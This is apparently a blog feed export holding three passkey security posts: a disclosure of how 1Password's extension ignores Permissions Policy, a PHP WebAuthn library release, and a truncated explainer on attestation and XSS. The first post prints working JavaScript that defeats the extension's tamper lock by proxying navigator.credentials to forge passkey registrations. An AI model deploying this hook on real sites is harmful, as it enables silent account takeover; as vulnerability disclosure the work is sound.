the content script the authority.</p><p>To be crystal clear: this control doesn't stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: \"none\"</code>, nothing on the client can do that (see my <a href=\"https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:\"none\"</code> credential in JavaScript and POST it straight to the RP's enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page's ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password's extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user's authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn't fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password's bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn't matter is a script already running inside the authenticated app, where there's a live session to abuse regardless — and that is not the scenario this policy exists to defend. </p><p></p><h3 id=\"an-extension-update-shortly-after-my-report\">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I'd created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password's wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class=\"language-js\">Object.defineProperty(parentRef, methodName, {\n    configurable: false,\n    enumerable: true,\n    get() { return newMethod; }, // always returns 1P's wrapper\n    set() {\n        console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);\n    }\n});</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password's version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension's main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn't something I can verify from outside, and timing alone doesn't establish it, so I'll happily take that at face value.</p><p>The interesting part doesn't depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP's main world. Something that 1Password's own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It's also worth being precise about what this change is and isn't. Making the accessor non-configurable protects the integrity of the wrapper so page script can't clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password's response commits to no fix for that, so it remains.</p><p></p><h3 id=\"updating-the-poc-to-work-again\">Updating the PoC to Work Again</h3><p>Our \"Gesture-Preserving Forgery\" demo (<a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it's the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class=\"language-js\">navigator.credentials.create = async function (opts) { /* … forge … */ };</code></pre><p></p><p>On the new version of the extension, that's exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn't take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class=\"language-js\">let installed = false;\ntry {\n    navigator.credentials.create = hijackCreate;\n    installed = navigator.credentials.create === hijackCreate;\n} catch (e) { /* non-configurable property with a throwing setter */ }\n\nif (!installed) {\n    // 1Password locked the `create` property — but not the container.\n    const fakeContainer = new Proxy(realContainer, {\n        get(target, prop) {\n            if (prop === 'create') return hijackCreate;\n            const value = Reflect.get(target, prop, target);\n            return typeof value === 'function' ? value.bind(target) : value;\n        },\n    });\n    const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };\n    try {\n        Object.defineProperty(Navigator.prototype, 'credentials', shadow);\n        installed = navigator.credentials === fakeContainer;\n    } catch (e) { /* try the instance next */ }\n    if (!installed) {\n        try {\n            Object.defineProperty(navigator, 'credentials', shadow);\n            installed = navigator.credentials === fakeContainer;\n        } catch (e) { /* give up */ }\n    }\n}</code></pre><p></p><p>1Password's patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href=\"https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys Demo 2</a> back to life, and I'd be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id=\"permissions-policy-and-content-security-policy\">Permissions Policy and Content Security Policy</h3><p><a href=\"https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Permissions Policy</a> and <a href=\"https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn't supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn't, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is \"duh, don't get XSS in the first place\", but I bet that's already everyone's goal. Despite that, XSS was the Top Threat of <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2024</a>, <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">2025</a>, and it's already pulling out ahead of everything else in 2026. Just last week it was <a href=\"https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They've since “reached an agreement” with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href=\"https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys solutions page</a> for more info.</p><p></p><h3 id=\"disclosure-and-closing\">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn't discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href=\"https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&ref=scotthelme.ghost.io\" rel=\"noreferrer\">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href=\"https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Bridge Spoof PoC (third-party script): <a href=\"https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br>Wrapper override PoC: <a href=\"https://report-uri-demo.com/passkeys/3/?protected&ref=scotthelme.ghost.io\" rel=\"noreferrer\">link</a><br></p><p></p><p></p>\n<!--kg-card-begin: html-->\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css\" integrity=\"sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\">\n<style>\n  pre[class*=\"language-\"] {\n      font-size: 0.75em;\n  }\n</style>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js\" integrity=\"sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js\" integrity=\"sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>\n<!--kg-card-end: html-->",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "Permissions Policy",
              "term": "Permissions Policy",
              "url": null
            },
            {
              "label": "Content Security Policy",
              "term": "Content Security Policy",
              "url": null
            }
          ]
        },
        {
          "id": "6a09db9d197769000166677a",
          "title": "Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP",
          "description": "<p>We've open-sourced <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>",
          "url": "https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/",
          "published": "2026-05-20T12:16:58.000Z",
          "updated": "2026-05-20T12:16:58.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png\" alt=\"Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP\"><p>We've open-sourced <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we’re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png\" class=\"kg-image\" alt=\"Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href=\"https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io\">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id=\"why-we-built-it\">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a href=\"https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io\" rel=\"noreferrer\">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI's passkeys integration <a href=\"https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href=\"https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&ref=scotthelme.ghost.io\" rel=\"noreferrer\">wrote fixes and submitted them as PRs</a> upstream, but they haven't been merged. Rather than carry a stack of local patches indefinitely — and leave everyone else on the same library exposed — we're shipping the fixes inline and in the open.</p><p></p><h3 id=\"what-we-fixed\">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you'd like, but the summary is below. These were not cosmetic changes; they were the kinds of edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level 3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn §8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn't implement it.</li></ul><p></p><h3 id=\"we-deleted-attestation\">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling — the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don't use: browsers and platform authenticators issue attestation: \"none\" by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it — over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: \"none\"</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: \"none\"</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP — not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn't the library for you, and we think that's the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn't enable them anyway.</p><p></p><h3 id=\"getting-started\">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class=\"language-php\">use ReportUri\\Passkeys\\WebAuthn;\n$server = new WebAuthn('My App', 'example.com');</code></pre><p></p><p>There's a working registration and login demo in <a href=\"https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">_test/</a> to get you going, and this is currently deployed on the <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That’s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Passkeys",
              "term": "Passkeys",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "69fef8df9c3a0c0001b5ea13",
          "title": "XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None",
          "description": "<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim’s account. The user sees nothing, the website records</p>",
          "url": "https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/",
          "published": "2026-05-19T12:24:43.000Z",
          "updated": "2026-05-19T12:24:43.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim’s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png\" class=\"kg-image\" alt=\"XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><p>For an organisation, that means more than “someone found XSS”. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that's being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id=\"introduction\">Introduction</h3><p>Before we get started, if you'd like a brief overview of how passkeys work, you can jump over to my <a href=\"https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Passkeys 101 blog post</a>, where I explain the basics. I'm going to assume in this blog post that you understand the concept of passkeys, and we're going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user's passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user’s device or password manager that creates, stores, and uses the private key to prove the user’s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id=\"how-passkey-registration-works\">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class=\"language-js\">const optRes = await fetch('/passkeys/register_get_options/' + getCsrfToken(), { method: 'POST' });</code></pre><pre><code class=\"language-http\">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nCookie: session=...\nContent-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class=\"language-json\">HTTP/1.1 200 OK\nContent-Type: application/json\n\n{\n  \"publicKey\": {\n    \"rp\": {\n      \"name\": \"Report URI\",\n      \"id\": \"report-uri.com\"\n    },\n    \"user\": {\n      \"id\": \"Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=\",\n      \"name\": \"jane@example.com\",\n      \"displayName\": \"jane@example.com\"\n    },\n    \"challenge\": \"kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J\",\n    \"pubKeyCredParams\": [\n      { \"type\": \"public-key\", \"alg\": -8 },\n      { \"type\": \"public-key\", \"alg\": -7 },\n      { \"type\": \"public-key\", \"alg\": -257 }\n    ],\n    \"timeout\": 60000,\n    \"authenticatorSelection\": {\n      \"requireResidentKey\": true,\n      \"residentKey\": \"required\",\n      \"userVerification\": \"required\"\n    },\n    \"attestation\": \"none\",\n    \"excludeCredentials\": [\n      {\n        \"type\": \"public-key\",\n        \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...\",\n        \"transports\": [\"usb\", \"nfc\", \"ble\", \"hybrid\", \"internal\"]\n      }\n    ]\n  }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class=\"language-js\">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user's account:</p><pre><code class=\"language-js\">const payload = {\n    name: nameInput?.value?.trim() || '',\n    password: passwordInput.value,\n    id: cred.id,\n    rawId: cred.rawId,\n    type: cred.type,\n    clientDataJSON: cred.response.clientDataJSON,\n    attestationObject: cred.response.attestationObject,\n};\n\nconst finRes = await fetch('/passkeys/register_finish/' + getCsrfToken(), {\n    method: 'POST',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(payload),\n});</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here's the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)\n├─ fmt                       ← attestation format, e.g. \"none\" / \"apple\"\n├─ authData                  ← authenticator data\n│  ├─ rpIdHash               ← SHA-256 hash of the RP ID\n│  ├─ flags                  ← UP/UV/AT/ED flags, etc.\n│  ├─ signCount              ← signature counter\n│  └─ attestedCredentialData\n│     ├─ aaguid              ← type/model id, not useful for synced passkeys\n│     ├─ credentialIdLength\n│     ├─ credentialId        ← credential is, also surfaced as id/rawId\n│     └─ credentialPublicKey ← COSE-encoded public key\n└─ attStmt                   ← attestation statement; empty for fmt \"none\"</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class=\"language-json\">{\n    \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n    \"name\": \"Jane's MacBook\",\n    \"pem\": \"-----BEGIN PUBLIC KEY-----\\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\\n-----END PUBLIC KEY-----\\n\",\n    \"counter\": 0,\n    \"created\": \"2026-05-16T14:22:07+00:00\"\n}</code></pre><p></p><p></p><h3 id=\"how-passkey-authentication-works\">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class=\"language-js\">const optRes = await fetch('/passkeys/login_get_options/' + getCsrfToken(), { method: 'POST', credentials: 'same-origin' });</code></pre><pre><code class=\"language-http\">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nCookie: session=...\nContent-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class=\"language-json\">HTTP/1.1 200 OK\nContent-Type: application/json\n{\n  \"publicKey\": {\n    \"challenge\": \"Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J\",\n    \"timeout\": 20000,\n    \"rpId\": \"report-uri.com\",\n    \"userVerification\": \"required\",\n    \"allowCredentials\": [\n      {\n        \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n        \"type\": \"public-key\",\n        \"transports\": [\"usb\", \"nfc\", \"ble\", \"hybrid\", \"internal\"]\n      }\n    ]\n  }\n}</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user's account, <code>jane@example.com</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class=\"language-js\">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class=\"language-js\">const payload = {\n    id: assertion.id,\n    rawId: assertion.rawId,\n    type: assertion.type,\n    clientDataJSON: assertion.response.clientDataJSON,\n    authenticatorData: assertion.response.authenticatorData,\n    signature: assertion.response.signature,\n    userHandle: assertion.response.userHandle || '',\n};\n\nconst finRes = await fetch('/passkeys/login_finish/' + getCsrfToken(), {\n    method: 'POST',\n    credentials: 'same-origin',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify(payload),\n});</code></pre><pre><code class=\"language-json\">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1\nHost: report-uri.com\nContent-Type: application/json\nCookie: session=...\n\n{\n  \"id\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc\",\n  \"rawId\": \"AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==\",\n  \"type\": \"public-key\",\n  \"clientDataJSON\": \"eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9\",\n  \"authenticatorData\": \"SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==\",\n  \"signature\": \"MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m\",\n  \"userHandle\": \"T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=\"\n}</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that's associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id=\"understanding-attestation\">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class=\"language-json\">{\n  ...\n  \"attestation\": \"none\",\n  ...\n}</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question 'what kind of authenticator am I working with', and it's answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href=\"https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it's just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an 